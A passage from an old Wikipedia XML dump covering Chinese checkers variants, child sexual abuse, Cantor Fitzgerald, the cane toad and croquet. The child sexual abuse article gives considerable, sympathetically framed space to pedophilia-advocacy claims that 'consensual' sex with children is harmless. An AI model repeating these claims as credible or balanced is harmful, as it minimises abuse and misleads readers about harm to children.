[[Image:Chinese_checkers_flying_jump.png|thumb|left|Jumping over non-adjacent pieces is allowable only in the fast-paced variant.]]
In the fast-paced variant, which is played mainly in [[Hong Kong]], game pieces may hop over ''non-adjacent'' pieces.  A hop consists of jumping over a distant marble to a symmetrical position on the opposite side.  For example, if there are two empty spaces between the moving marble and the marble over which it is hopping, it lands on the opposite side with a gap of two empty spaces.  As before, a single move may be a chain of hops, as shown in the diagram at left.

Usually, in the fast paced version, a marble is allowed to enter into an empty corner in the middle of a series of hops, but must hop out again before the move is over.

Jumping over two marbles in a single hop is not allowed.  For example, in the diagram at left, the green marble marked with an X could not hop in the direction of the space marked with an O.  Therefore, in this variant even more than in the original version, it is sometimes strategically important to keep one's marbles bunched in order to prevent a long opposing hop.

The game layout varies according to how many players are involved.  
[[Image:ChineseCheckersboard.jpeg|thumb|A typical game board.]]
In a six player game, each player plays with one set of marbles.  The pieces move into one of the opponents' corner.  If your opponent refuses to move a piece out of the starting corner, you are out of luck to win the game because if he doesn't come out, you cannot finish.

In a five player game, the situation is same as the six player game except that one player moves the pieces into an empty corner.  Because this player is in an advantageous position, usually a weaker player (e.g. a younger child) would take that position.

The four player game is same as the six player game except two opposite corners are unused.

In a three player game, the players can play one set or two sets of marbles each.  If one set is used, the game pieces are moved across the field into an empty corner.  If two sets are used, each player starts with two color sets at opposite corners.

In a two player game, each player can play one, two or three sets of marbles.  If one set is played, the pieces usually go into the opponent's corner.  If two sets are played, the pieces can either go into the player's own opposite corners or into an opponent's corner.  If three sets are played, the pieces usually go to the  opponent's corner.

Each layout takes different game strategy.  For example, if your pieces go to your own corner, you can arrange your own pieces to serve as bridges between the two opposite ends.  On the contrary, if your opponent occupies your target corner, you might have to play a waiting game until all the pieces are moved out.

== Capture ==

In the &quot;capture&quot; variation all sixty game pieces are put in the [[hexagon]]al field in the center of the game board. The one hole in the center of the board is left unoccupied so that the game board starts out with a symmetrical hexagonal pattern. The players take turns hopping any game pieces over other game pieces on the board; the hopped over pieces are captured (retired from the game, as in checkers) and collected in the player's bin. 

At the end of the game, the player with the most captured pieces is the winner.  The board is tightly packed at the start of the game; as more pieces are captured, the board frees up and multiple captures can often take place in one move.  In this game, two or more players can participate. There is no upper limit to the number of players in this game, but if there are more than six players, not everyone will get a fair turn.

The fast-paced version of this game allows the game pieces to catapult over multiple empty spots (just as described in hop-across above). The original version only allows small hops like in checkers.

==See also==
*[[Star number]]
*[http://en.wikibooks.org/wiki/Chinese_Checkers_strategy_guide Chinese Checkers strategy guide]

==External links==
* Chinese checkers is played at [http://games.yahoo.com/cc Yahoo! Games] 
* [http://puzzle.roxr.com/portal/modules/news/ Chinese Checkers Website]

[[de:Halma]]
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[[Category:Abstract strategy games]]</text>
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  </page>
  <page>
    <title>Child sexual abuse</title>
    <id>6636</id>
    <revision>
      <id>41702776</id>
      <timestamp>2006-03-01T04:04:22Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.82.115.8|68.82.115.8]] ([[User talk:68.82.115.8|talk]]) to last version by ArcticFrog</comment>
      <text xml:space="preserve">The term '''child sexual abuse''' ('''CSA''') is commonly defined in contemporary western culture as any sexual acts engaged in by prepubescent minors and adults. A perpetrator of child sexual abuse is known as a '''child sex offender'''. Most child sex offenders are male; the number of female offenders is usually reported to be between 10% and 20%, although in some studies it was found to be as high as 70%.  Most states force offenders to register with a national database, and releases the information to the public.

It has a special status among forms of [[abuse]], because it includes not only 

*'''a)''' what is considered [[Sexual abuse#Sexual abuse in general|sexual abuse]] between adults, but also 
*'''b)''' ''all'' forms of [[sexual activity]] involving children and adults as partners, even if a child gives [[simple consent]]&lt;sup&gt; [http://www.annals.org/cgi/content/abstract/140/1/54] [http://www.ipce.info/library_3/files/rind/rtbval_8.htm] &lt;/sup&gt; (see [[Sexual abuse#Definition based on Informed Consent|Definition based on Informed Consent]]).  

The term has both moral and legal implications. As with the definition of sexual abuse in general, the definition of this term in legal, moral, and scientific literature varies in both criteria and specificity.  The term includes also the [[Commercial sexual exploitation of children|commercial sexual exploitation of children]] (CSEC), defined by the [[International Labour Organization]] in the text of the [[Worst Forms of Child Labour Convention]].

==List of activities considered CSA==
In countries and jurisdictions where child/adult sexual behavior is illegal, it is a criminal offense, although the list (range) of activities that are prosecuted varies between countries.
Activities which are often defined as abuse only when children are involved include the following:
* penetrative intercourse (oral, anal or vaginal) between a child below a predefined [[age of consent]] (generally between 12 and 18 years) and an adult (or a much older child),
* asking a child to give consent to any kind of penetrative intercourse,
* fondling a child's genitals,
* asking, forcing, or inducing a child to fondle genitals (either his or her own, an adult's, or another child's),
* acting as a [[pimp]] for [[Prostitution of children|child prostitution]] (including a parent acting as a pimp),
* inducing a child to behave sexually in a [[performance]], or to appear in [[child pornography]],
* asking, forcing, or inducing a child to watch any kind of sexual behavior (including [[masturbation]]), 
* asking, forcing, or inducing a child to look at adult genitals (in many countries if a child is not intentionally directed to look at adult genitals in public baths or [[nudism|nudistic]] settings, the mere presence of them is not considered CSA),
* lewd action towards children, including [[disseminating pornography to a minor]],
* asking, forcing, or inducing a child to undress for any reason other than to help a child who is too young or otherwise unable to [[washing|wash]], [[dress]] exclusively to keep hygiene for himself or herself,
* observing a child's genitals for any reason other than for examining existing health problems.
* any sexual interaction of a child with an adult or other child where coercion or a power differential is present
* purposefully undressing in front of or being seen nude around one's children after they have reached the age of awareness (often estimated as early as four or five and as late as ten years of age)
* bathing a child who is old enough and capable enough to bathe himself/herself

==Effects of sexual abuse on children==
The majority of experts believe that CSA is innately harmful to children. A wide range of psychological, emotional, physical, and social effects has been attributed to child sexual abuse, including [[anxiety]], [[clinical depression|depression]], [[obsession]], [[compulsion]], [[grief]], [[post-traumatic stress disorder]] symptoms such as [[flashbacks]], emotional numbing, pseudo-maturity symptoms, and other more general dysfunctions such as sexual dysfunction, social dysfunction, dysfunction of relationships, poor education and employment records, eating disorders, self-mutilation, and a range of physical symptoms common to some other forms of [[PTSD]], such as sensual numbness, loss of appetite (see Smith et al., [[1995]]). Additionally, young girls who are victims of abuse may encounter additional trauma by [[pregnancy]] and birth complications. See [[Pregnancy after childhood sexual abuse]].

Some studies have reached other conclusions about CSA. For example, a 1982 meta-analysis by Mary DeYoung reported that 20% of her &quot;victims&quot; appeared to be &quot;virtually indifferent to their molestation&quot; and instead tended to be traumatized by the reaction of adults to its discovery. [http://www.ipce.info/ipceweb/Library/nelson.htm] Most notably, a controversial meta-analytic study of other various studies of CSA, [[Rind et al.]] ([[1998]]), found only a weak correlation between sex abuse in childhood and the later stability of the child's adult psyche, noted that a not insignificant percentage reported their reactions to sex abuse as positive in the short term, and found the confounding variable of poor family environment as a plausible cause for the majority of negative effects. Although the study stated in its conclusion that &quot;the findings of the current review do not imply that moral or legal definitions of or views on behaviors currently classified as CSA should be abandoned or even altered,&quot; (Rind et al., 1998, p. 47), it on one hand drew widespread outrage from conservative activists, and on the other hand was often cited as supporting evidence by [[pedophile advocacy|pedophile advocates]]. The authors' defense of it can be found here[http://home.wanadoo.nl/ipce/library_two/rbt/skept.htm].

The percentage of adults suffering from long-term effects is unknown.  Smith quotes a British study that showed that 13% of adults sexually abused as children suffered from long-term consequences.  

Wakefield and Underwager ([[1991]]) note the difference between CSA experiences of boys and girls, where more boys than girls report the experience as neutral or positive, saying that &quot;It may be that women perceive such experiences as sexual violation, while men perceive them as sexual initiation.&quot; Much of this has been challenged, the effects of sexual abuse on men being seen by some researchers as similar to the effects on women, &quot;initiation&quot; being considered part of the myth of male socialisation that men are the initiators of sex and cannot be abused (Draucker 1992).  However, even accepting that the notion that males ''cannot'' be abused is a myth does not prove that there is no difference between early sexual initiation and sexual abuse for males (or for females for that matter.)

Forty to 71 percent of [[Borderline Personality Disorder]] patients report having been sexually abused.

More recent studies conducted in the new mellenium indicate that sexual abuse in children can lead to the overexitation of an undeveloped [[limbic system]]; causing damage [http://www.annafoundation.org/stwh.html]. This could explain the problems sexual abuse victims have with regulation of mood and other limbic functions. Other studies also indicate sexual abuse can lead to [[temporal lobe]] epilepsy, damage to the [[cerebellar vermis]], along with reduced size of the [[corpus callosum]] [http://pn.psychiatryonline.org/cgi/content/full/36/5/36]

== Offenders ==
Most offenders are situational offenders (pseudopedophiles) rather than [[pedophilia|pedophiles]]. They are rarely strangers, but relatives or acquaintances like trainers or playmates. Most offenders are male, the number of female perpetrators is usually reported to be between 10% and 20%, however in some studies it was found to be as high as 70%.

===Typology ===
There are three categorizations of child sex offenders studied in the field of [[criminal psychology]]. The first two are major while the third is minor.

====Regressed offenders ====
Regressed offenders are primarily attracted to their own age group but are passively aroused by minors (pseudo-pedophiles).

*The sexual attraction in children is not manifested until adulthood.
*Their sexual conduct until adulthood is aligned with that of their own age group. 
*Their interest in children is either not cognitively realized until well into adulthood or it was recognized early on and simply suppressed due to social taboo.

Other scenarios may include:

*Not associating their attractions as pedosexual in nature due to cultural differences.
*[[Age of consent]] laws were raised in their jurisdiction but mainstream views toward sex with that age group remained the same, were acted upon, then they were charged with a crime.
*The person's passive interest in children is manifested temporarily upon the consumption of alcohol and acted upon while inhibitions were low.

Some view regressed offenders as people who are unable to maintain adult sexual relationships and so the offender substitutes an adult with a child. This appears to be a flawed concept since it would suggest the offender was primarily pedosexual and they would thus fit into the fixated category.

====Fixated offenders====
Fixated offenders are most often adult [[pedophilia|pedophiles]] who are [[maladaptive]] to accepted social norms. They develop compatibility and self-esteem issues, stunting their social growth. This is commonly characterized amongst psychologists as a &quot;lack of maturity&quot;.

&quot;This offender ''identifies'' with children, in other words considers him or herself to be like a child and thus seeks sexual relationships with what the offender perceives to be ''other'' children&quot;.&lt;sup&gt;[http://www.csom.org/train/supervision/medium/01_02_04.html]&lt;/sup&gt;

Such offenders often resort to collecting personal articles related to minors (clothing, children's books) as an outlet for their repressed desires. Most fixated offenders prefer members of the same sex. There is a difference of opinion as to whether this may be classified as [[homosexuality]] due to the nature of the individual's attractions. The sexual acts are typically preconceived and are not alcohol or drug related.

====Sadistic offenders====
Sadistic offenders are very rare and inherently violent criminals. They primarily use sexuality as a tool of [[Sadism|sadistic]] suppression and not for sexual satisfaction. For this reason they do not fit within the classification of [[pedophilia]].

===Categorization===
The great majority of offenders fit into the regressed category. Only between 2-10% percent of all offenders are fixated.

These categories, (primarily the first two), are based on the assumption that the offender suffers from an irreversible mental illness. A few have noted that the primary division between &quot;regressed&quot; or &quot;fixated&quot; offenders seems to rest on two criteria: the offending person's ability to successfully live a socially acceptable lifestyle before committing the crime and the person's primary sexual preference.  These categorizations also assume the act is a crime in the jurisdiction they reside in.

These terms generally do not encompass the full range of possible scenarios and merely attempt to label easily identifiable situations. A growing number of [[pedosexuals]] feel that the two main classifications are a direct result from the lack of understanding and/or bias in the mainstream regarding pedosexuality in [[western society]] and thus are categorically flawed.

==== &quot;Children who molest&quot; ====
Some [[Therapy|therapists]] noticed that many [[adult]] sex offenders already showed what they considered deviant sexual behavior during childhood. So they promoted early treatment of deviant minors as a preventive measure. However there is still little known about normal as opposed to deviant [[child sexuality]]. It is also unknown whether so called deviant minors have a higher risk of becoming an adult sex offenders than anybody else.

The US started to focus on juvenile sex offenders or even children for therapy or detention perhaps in the early [[1990s]]. The label &quot;juvenile sex offender&quot; is controversial because it is not only used to describe acts of violence, but also consensual acts that violate statutory rape laws; critics of this trend view many such children as simply engaging in sexual [[experimentation]]. They also criticize the law for forcing arbitrary classification of such pairs of offenders into victim and perpetrator.

Therapies used on children have included controversial methods historically used in the &quot;treatment&quot; of homosexuals such as [[aversion therapy]], where children are, for example, forced to smell ammonia while looking at nude pictures or to listen to audio tapes describing sexual situations. In order to measure sexual response, devices like [[penile plethysmograph]]s and [[vaginal photoplethysmograph]]s are sometimes used on these children.

===Variation in cultural practices, norms and research findings===
Between [[cultural relativism|cultural relativists]] and cultural universalists there is no [[consensus]] whether and which among different past or present cultural practices in Western or non-Western societies can be defined as abusing either general universalistic human rights or special universalistic rights of children due to which there is no generally accepted definition which of them can be listed as CSA. 

In different cultures the practices sanctioned by cultural norms involve for example cutting and bleeding of the genitals, [[female circumcision]], [[circumcision]] (of males), [[castration]], [[infibulation]], sexual relationships between adolescent boys and adult men sanctioned by the state and sanctified by religion in ancient [[Greece]] and feudal [[Japan]], child prostitution tolerated in some societies as a way for children to support their families, [[groping]] of schoolgirls in Japanese trains, in the Western societies now abolished remedies against masturbation (once named 'self-abuse'), and nudity in public baths and [[nudism|nudistic]] settings etc.

In some [[Oceania|South Pacific]] island cultures, such as the Sambia of [[Papua New Guinea]], one of the primary rituals of initiation for boys involves having them ingest [[semen]], which they consider to be the literal essence of manhood. The boys obtain semen by [[Fellatio|fellating]] older boys who have already passed through the initiation. Upon initiation into higher stages, the roles are reversed, making the fellator the fellated. Ritual fellatio is somewhat common throughout southeastern Papua New Guinea but has been studied the most in the Sambia (Herdt 1982). [http://www2.rz.hu-berlin.de/sexology/GESUND/ARCHIV/GUS/NEWGUINEA.HTM] [http://www.glbtq.com/arts/pac_art.html] [http://www.globalgayz.com/papua-news.html]

Because of the lack of the universal definition the research on CSA is open both to personal biases of the researchers and of their critics.

===Epidemiology===
Goldman ([[2000]]) notes that &quot;the absolute number of children being sexually abused each year has been almost impossible to ascertain&quot; and that &quot;there does not seem to be agreement on the rate of children being sexually abused&quot;. A meta-analytic study by Rind, Tromovitch, and Bauserman ([[1998]]) found that reported prevalence of abuse for males ranged from 3% to 37%, and for females from 8% to 71% with mean rates of 17% and 28% respectively. A study by Fromuth and Burkhart ([[1987]]) found that depending upon the definition of CSA used, prevalence among men varied from 4% to 24%.

==Sexual abuse, consent, minors, age gap and culture==
The simple definition of '''child sexual abuse''' is when an adult forces or coerces sex on a prepubescent minor. There is an ongoing controversy surrounding this definition. The controversy lies within the argument as to whether children can or cannot give [[cognition|cognitive]] consent. The mainstream opinion in countries such as the U.S. and U.K. is that any [[minor]] under the legal [[age of consent]] is deemed mentally incapable of consenting to sexual activity with people older than they are, thus any and all contact is automatically considered abuse.

Also, in cases of multi-generational relationships where both parties are legal adults, such relationships are still often widely considered immoral and taboo, even though legal. Such relationships often result in humorous anecdotes or parodies, and in some more severe cases, social abolishment.

In most cases involving minors, the combination of these two elements results in the passing of laws which prohibit minors from giving legal [[informed consent]], even if they are indeed a willing partner to the best of their own knowledge. Thus, if such acts are discovered, the adult may be charged with a [[crime|criminal offense]].

===Definition based on moral objection; relativity===
The mainstream view is that any and all contact between minors and adults is immoral and automatically abuse in all cases. In more severe opinions it is considered inherently [[evil]], and in their own words, &quot;the '''perpetrators''' must be held liable to the utmost extent of the law.&quot;

====Innocence of children====
On one hand, moral opponents also strive to maintain preservation of the perceived [[innocence]] in children. 

On the other hand, proponents claim this argument based on innocence is inherently flawed in that it is ignorance, not innocence, which is wrought by not allowing children to be exposed to sex at an earlier age.

This debate is a separate one in and of itself, and lends to ideals which both sides of the argument deem worthy enough for strong objection. Both sides routinely refer to the &quot;preponderance&quot; of psychological, sociological, and historical evidence to back their claims.

Both sides agree that genuine cases of force and coercion are indeed true abuse.

====Objection to homosexuality====
In cases of same-sex relations between adults and minors in western civilisation, there is also the stigma based on the [[homosexual]] nature of the actions. There are other societies, however, in which adult/adult homosexuality is considered criminally and morally offensive behavior, but child/adult heterosexual relations are viewed as acceptable.

====Criticism of the definitions====
Views on sexual relations between adults and prepubescent minors in western society remains a deep controversy.

Critics disagree with labeling all [[child sexuality|child sexual activity]] involving adults as partners or observers as ''abuse'' based on the concept of [[informed consent]], arguing that simple consent should suffice to exclude consensual acts from the definition of child sexual abuse (CSA). Those critics, including some sociologists, psychologists, educators, and some [[pedophilia advocacy|pedophilia advocates]], also object to the use of the terms ''victim'' and ''perpetrator'' when describing consensual acts. Many doubt that there is scientific evidence that ''consensual'' sexual activity causes harm to minors and argue that some sexual activity of or with minors is considered a crime solely because of [[sexual morality]]. Some researchers contend that categorizing all sexual activity with minors as abuse makes it difficult to study the effects of abuse on children. Others claim that a distinction should be made between, on the one hand, severe sexual abuse that is often associated with severe symptoms such as suicidal tendencies, sexual aggression, and self-mutilation (Kisiel and Lyons, [[2001]]), and on the other hand, milder types of CSA that do not necessarily cause harm. [[Rind et al.]] ([[1998]]) argued that &quot;CSA does not cause intense harm on a pervasive basis,&quot; although anecdotal evidence documents harmful effects of early sexual activity (see Bass, Ellen et al, The Courage to Heal, 3rd edition, 1994)

Some further argue that denying a child the right to give informed consent ignores his or her right to sexual self-determination.

However, due to conservative views on the nature of child sexuality in western society, these criticisms are highly controversial. The mainstream definition of child sexual abuse is predicated on whether children are developmentally able to give informed consent, not just consent based on their feelings and expectations. Informed consent requires full cognitive understanding of one's own mind and the mind of the other person. The scientific evidence from psychological experiments, such as the Sally-Anne test, clearly show that full understanding does not develop until the end of puberty.

Critics of the mainstream definition counter that the focus on informed consent is a [[red herring]]. They believe the issue should be whether sexual relations involving simple consent are harmful. They believe they are not. They point to a long tradition of older men marrying young girls that is common across time and cultures, and also to [[pederasty]] (man-boy sexual relations), which was deemed acceptable in Ancient Greece, New Guinea, and feudal Japan. It is not clear whether the absence of informed consent is a predictor of harm.

On the other hand, on the Isle of Alor, it was discovered that parents were masturbating their children and referring to it as a natural way of relieving their children's tensions. The Alorese exhibit a number of psychological symptoms many connect to the sexual abuse.{{fact}}

==See also==
* [[Incest]]
* [[Child grooming]]
* [[Commercial sexual exploitation of children]]
* [[Megan's Law]]
* [[Michael Jackson]]
* [[Reflex anal dilatation]]
* [[Roman Catholic Church sex abuse scandal]]
* [[Andrew Vachss]]

==References==
# Committee on Child Abuse and Neglect &quot;American Academy of Pediatrics: Guidelines for the Evaluation of Sexual Abuse of Children: Subject Review&quot; [http://pediatrics.aappublications.org/cgi/content/full/103/1/186 ''Pediatrics'' 103 (1) January 1999, pp. 186-191]
#Draucker , Claire. ''Counselling Survivors of Childhood Sexual Abuse''. SAGE Publications 1992 ISBN: 0803985711 
# Herdt, Gilbert H. (ed.) &quot;Fetish and fantasy in Sambia initiation&quot;. In ''Rituals of Manhood: Male Initiation in Papua New Guinea''. Pp. 44-98. Berkeley: University of California Press 1982. ISBN: 0520044487 
# Smith D., Pearce L., Pringle M., Caplan R., &quot;Adults with a history of child sexual abuse: evaluation of a pilot therapy service&quot; [http://bmj.bmjjournals.com/cgi/content/full/310/6988/1175 ''BMJ'' 1995;310:1175-1178]
# Kisiel, C. L. and Lyons, J. S., &quot;Dissociation as a Mediator of Psychopathology Among Sexually Abused Children and Adolescents&quot; [http://ajp.psychiatryonline.org/cgi/content/full/158/7/1034 ''Am. J. of Psychiatry'' 158:1034-1039, July 2001]
# Underwager, Ralph and Wakefield, Hollida, &quot;Antisexuality and Child Sexual Abuse&quot; [http://www.ipt-forensics.com/journal/volume5/j5_2_2.htm ''IPT'' Volume 5 - 1993]
# Eric Vern L. Bullough and Bonnie Bullough, &quot;Problems of Research into Adult/Child Sexual Interaction&quot; [http://www.ipt-forensics.com/journal/volume8/j8_2_1.htm ''IPT'' Volume 8 - 1996]
# ''Pedophilia: Biosocial Dimensions'' (). Edited by Feierman JR. New York, Springer-Verlag, 1990
# Juliette D. G. Goldman and Usha, K. Padayachi, &quot;Some Methodological Problems in Estimating Incidence and Prevalence in Child Sexual Abuse Research&quot;. ''Journal of Sex Research'',  Nov, 2000 [http://www.findarticles.com/p/articles/mi_m2372/is_4_37/ai_72272302/pg_2]
# Fromuth, M.E. and Burkhart, B.R., &quot;Childhood sexual victimization among college men: definitional and methodological issues&quot;. ''Violence and Victims'' 1987; 2:241-253

== External links ==
* [http://www.aacap.org/publications/factsfam/sexabuse.htm American Academy of Child and Adolescent Psychiatry on Child Sexual Abuse.]
* [http://www.childadvocate.net/child_sexual_abuse.htm Child Sexual Abuse: Evaluation and Outcomes - a review from the Penn State College of Medicine and the Child Advocate Network.]
* [http://www33.brinkster.com/ethical/  Ethical Treatment for All Youth] by Geoff Birky; a website which protests and documents trends in the area of &quot;children who molest&quot;.
* [http://www.ericdigests.org/pre-9217/sexual.htm Child Sexual Abuse: What It Is and How To Prevent It.]
* [http://www.ericdigests.org/pre-9219/sexual.htm The Role of Schools in Sexual Abuse Prevention and Intervention]
* [http://www.malesurvivor.org Male Survivor] - &quot;Overcoming sexual victimization of boys and men&quot;
* [http://www.nsopr.gov National Sex Offender Public Registry]
* [http://www.wethechildren.com When Are We Crossing A Child's Sexual Boundaries?]
* [http://www.vachss.com/av_dispatches/parade_071402.html The Difference Between &quot;Sick&quot; and &quot;Evil&quot;] by [[Andrew Vachss]], originally published in ''Parade'' magazine, July 2002.

[[Category:Child sexual abuse|*]]
[[Category:Crimes]]

[[da:Seksuelt misbrug af børn]]
[[de:Sexueller Missbrauch von Kindern]]
[[es:Abusos sexuales a menores]]
[[fr:Abus sexuel sur mineur]]</text>
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  </page>
  <page>
    <title>Cantor Fitzgerald L.P.</title>
    <id>6639</id>
    <revision>
      <id>22094892</id>
      <timestamp>2005-08-29T12:12:57Z</timestamp>
      <contributor>
        <username>Euphrosyne</username>
        <id>150628</id>
      </contributor>
      <text xml:space="preserve">[[Image:Cantor Fitzgerald logo.gif|thunb|right|250px|Logo of Cantor Fitzgerald]]

'''Cantor Fitzgerald L.P.''' is an [[investment bank]] specializing in [[bond|bond trading]].  It was founded in [[1945]] by Bernie Cantor and John Fitzgerald as a [[limited partnership]], which it remains today.  It created the [[eSpeed]] electronic trading network, a subsidiary it spun off in [[1999]]. On October 1st 2004 it spun off its inter-dealer voice brokerage business into a separate partnership [[BGC Partners]], named for Cantor founder Bertram Gerald Cantor.

Its former New York office, on the 101st-105th floors of One [[World Trade Center]], lost 685 employees in the [[September 11, 2001 attacks]], considerably more than any other employer, including the [[FDNY]].  This represented about two-thirds of its workforce.  The company was able to bring its trading markets back online within a week, and chairman and CEO [[Howard Lutnick]], whose brother was among those killed in the attacks, vowed to keep the company viable.

Before the attacks, Cantor handled about one-quarter of the daily transactions in the multi-trillion dollar U.S. treasuries market.  Cantor has since rebuilt its infrastructure and now has its headquarters in midtown Manhattan.  The company's effort to regain its footing is the subject of a 2003 book titled ''On Top of the World: Cantor Fitzgerald, Howard Lutnick, and 9/11: A Story of Loss and Renewal'' (ISBN 0060510307) by Tom Barbash.

See also: [[One World Trade Center tenants]]

==External links==
* [http://www.cantor.com/ Cantor Fitzgerald Web site]
* [[sep11:Cantor Fitzgerald Securities|Memorial wiki tribute to Cantor Fitzgerald]]
* [http://www.nytimes.com/2002/09/17/nyregion/17FUND.html Worst-Hit Firm Faults Fairness of Sept. 11 Aid], ''The New York Times'', September 17, 2002
* [http://www.rotten.com/library/crime/corporate/canter-fitzgerland/ Cantor-Fitzgerald], Rotten.com

[[Category:Banks of the United States]]
[[Category:Companies based in New York City]]</text>
    </revision>
  </page>
  <page>
    <title>Cantor Fitzgerald</title>
    <id>6640</id>
    <revision>
      <id>15904764</id>
      <timestamp>2005-04-16T14:42:28Z</timestamp>
      <contributor>
        <username>Juntung</username>
        <id>57194</id>
      </contributor>
      <comment>#REDIRECT [[Cantor Fitzgerald L.P.]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cantor Fitzgerald L.P.]]</text>
    </revision>
  </page>
  <page>
    <title>Giant Neotropical Toad</title>
    <id>6641</id>
    <revision>
      <id>42106380</id>
      <timestamp>2006-03-03T21:42:18Z</timestamp>
      <contributor>
        <username>Cavrdg</username>
        <id>106670</id>
      </contributor>
      <comment>Category:Invasive species</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Giant Neotropical Toad
| image = CaneToad.jpeg
| image_width = 200px
| image_caption = Cane Toad
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Amphibia]]
| ordo = [[Anura]]
| familia = [[Bufonidae]]
| genus = ''[[Bufo]]''
| species = '''''B. marinus'''''
| binomial = ''Bufo marinus''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], [[1758]]
}}
The '''Giant Neotropical Toad''' (''Bufo marinus'') is native to the [[Americas]] from southern [[Texas]] to northern [[Argentina]]. It is the world's largest toad, and has been introduced to many locations in the belief it will control agricultural pests, particularly of [[sugarcane]].  Introduced populations now occur in [[Australia]], [[Florida]], [[Papua New Guinea]], the [[Philippines]], the [[Ogasawara Islands]] and [[Ryukyu Islands]] of Japan, most [[Caribbean]] islands and many [[Pacific]] islands including [[Hawaii|Hawai'i]] and [[Fiji]].

Some individuals reach exceptional sizes for an [[anuran]].  A preserved specimen in the museum of [[Queensland]] is 24cm long and weighed 1.36kg.  They can live as long as twenty years in captivity, but usually they live for 15 years in the wild.

Adults possess enlarged paratoid glands behind the eyes and other glands across the back.  When the animal is harassed these glands secrete a milky-white fluid known as [[bufotoxin]].  Bufotoxin contains components which are dangerous to many animals.  There are reported deaths of humans after consumption of toads.  Ill-effects from contact with toads have also been reported and they should be handled with caution.  However they are sometimes kept as pets.

Adults are omnivores, which is unusual for an anuran.  Their prey includes small [[vertebrates]], a wide range of [[invertebrates]], [[carrion]] and plant material.   They have even been known to attempt to eat [[ping pong]] balls.  They are active primarily at night, ranging far away from water.

Females lay from 4,000 to 36,000 eggs per clutch, and breed at least twice per year, having no particular breeding season.  Both eggs and tadpoles are toxic to many animals.  This toxic protection is lost for a period after [[metamorphosis]] until the paratoid glands develop.

== Introduction to Hawaii ==

This toad was introduced into [[Hawaii|Hawai'i]] in 1932 from [[Puerto Rico]] to control injurious insects in the [[sugarcane]] fields.

== Introduction into Australia ==

101 toads were brought to [[Australia]] from Hawai&amp;lsquo;i in June [[1935]] in an attempt to control pests, especially the native Cane Beetle, that attacked sugarcane crops. They bred immediately in captivity and by August 1935 over 3000 young toads had been released in areas around [[Cairns, Queensland|Cairns]], [[Gordonvale, Queensland|Gordonvale]] and [[Innisfail, Queensland|Innisfail]] in northern [[Queensland]].  Releases were temporarily limited due to environmental concerns,
but resumed in other areas after September 1936. Since their release, toads have steadily expanded their range through Queensland, reaching the  border with [[New South Wales]] in 1978 and the [[Northern Territory]] in 1984.  The toads on the western frontier of their advance have evolved larger legs.  It is thought to be related to their ability to travel further.  Toads have been recored to travel upto 1 km in one night by electronic tagging.  On the frontier the toads always migrate west into new territory. 

There are grave concerns that toads might affect Australia's native fauna by predation, competition, conveying diseases and by poisoning animals that attempt to prey on toads.  The long-term impact of toads on the Australian environment is difficult to determine.  Precipitous declines in populations of the [[Northern Quoll]] have been observed after toads have invaded an area.  There are also a number of reports of [[goanna]] and snake populations collapsing after the arrival of toads. [http://news.bbc.co.uk/2/hi/science/nature/4073359.stm]

A number of native species have been reported as successfully preying on toads.  Some birds, such as the [[Torresian Crow]] and the [[Black Kite]], have learned to attack a toad's belly, avoiding the venom-producing glands on the back of the head.  Recent reports by researchers in the Northern Territory indicate that a native frog ''[[Litoria dahlii]]'' is apparently able to eat the tadpoles and live young of the toad without being affected by the poison that often kills other predators.  This is believed to account for slower than expected infestations of toads in certain areas of the Northern Territory.  Some snakes have been reported to have evolved smaller jaws so that they are unable to swallow large cane toads and survive a smaller dose of poison.

[[Image:Agarkroete_fg4.jpg|thumb|left|300px|Bufo marinus as purse]]
The saga of the Cane toad in Australia was popularized by the film
''[[Cane Toads: An Unnatural History]] (1987)'' which tells the tale with
a humorous edge and is often shown in [[Environmental Science]] courses. 
It was also referenced in [[Simpsons]] episode ''Bart vs. Australia''.

As of [[2005]], some success is being had using [[dark ultraviolet]] lights to lure and capture cane toads.

== Other names ==
[[Image:Bufo marinus 1.jpg|thumb|right|250px|Marine Toad]]
[[Image:Cane-toad.jpg|thumb|right|250px|Marine Toad]]
The Giant Neotropical Toad is also known by the following names:
*'''Aga-Kröte (Aga Toad)''' ([[German language|German]], origin unknown)
*'''Cane Toad'''
*'''Crapaud''' ([[Trinidad and Tobago]])
*'''Dominican Toad'''
*'''Giant Marine Toad'''
*'''Giant Toad'''
*'''Marine Toad'''
*'''''Sapo gigante''''' ([[Spanish language|Spanish]])
*'''South American Cane Toad'''
*'''Spring Chicken''' (in [[Belize]])
*'''Sapo Cururu''' (in [[Brazil]])

==References==
*''Animal'', Smithsonian Institution, 2005, pg. 448

[[Category:Toads]]
[[Category:Argentine fauna]]
[[Category:Fauna of Guyana]]
[[Category:Fauna of Trinidad and Tobago]]
[[Category:Invasive species]]

[[de:Aga-Kröte]]
[[fr:Bufo marinus]]
[[nl:Zeepad]]
[[ru:Ага (земноводное)]]</text>
    </revision>
  </page>
  <page>
    <title>Cyrus II of Persia</title>
    <id>6642</id>
    <revision>
      <id>23595034</id>
      <timestamp>2005-09-20T13:04:46Z</timestamp>
      <contributor>
        <ip>66.111.216.156</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cyrus the Great]]</text>
    </revision>
  </page>
  <page>
    <title>Croquet</title>
    <id>6643</id>
    <revision>
      <id>42064571</id>
      <timestamp>2006-03-03T15:46:10Z</timestamp>
      <contributor>
        <username>Nv8200p</username>
        <id>17790</id>
      </contributor>
      <minor />
      <comment>/* Croquet Clubs */ rm vanity image</comment>
      <text xml:space="preserve">:''For the Dutch food item, see [[Croquette]]. For the [[Smalltalk]] based 3D environment, see [[Croquet project]].''
'''Croquet''' is a recreational [[game]] and, latterly, a competitive [[sport]] that involves hitting wooden or plastic balls with a mallet through hoops embedded into the grass playing arena.
[[Image:Winslow Homer 001.jpg|thumb|300px|[[Winslow Homer]]: Croquet, 1864]]
The game was apparently invented in [[Ireland]] in the [[1830s]] and taken to [[England]] as a pastime of the [[aristocracy]] in the [[1850s]]. It may have evolved from the earlier mallet and ball game [[pall mall]]. It made its way to the [[United States]], [[Australia]], and [[France]], and while never hugely popular has continued to maintain a substantial following.

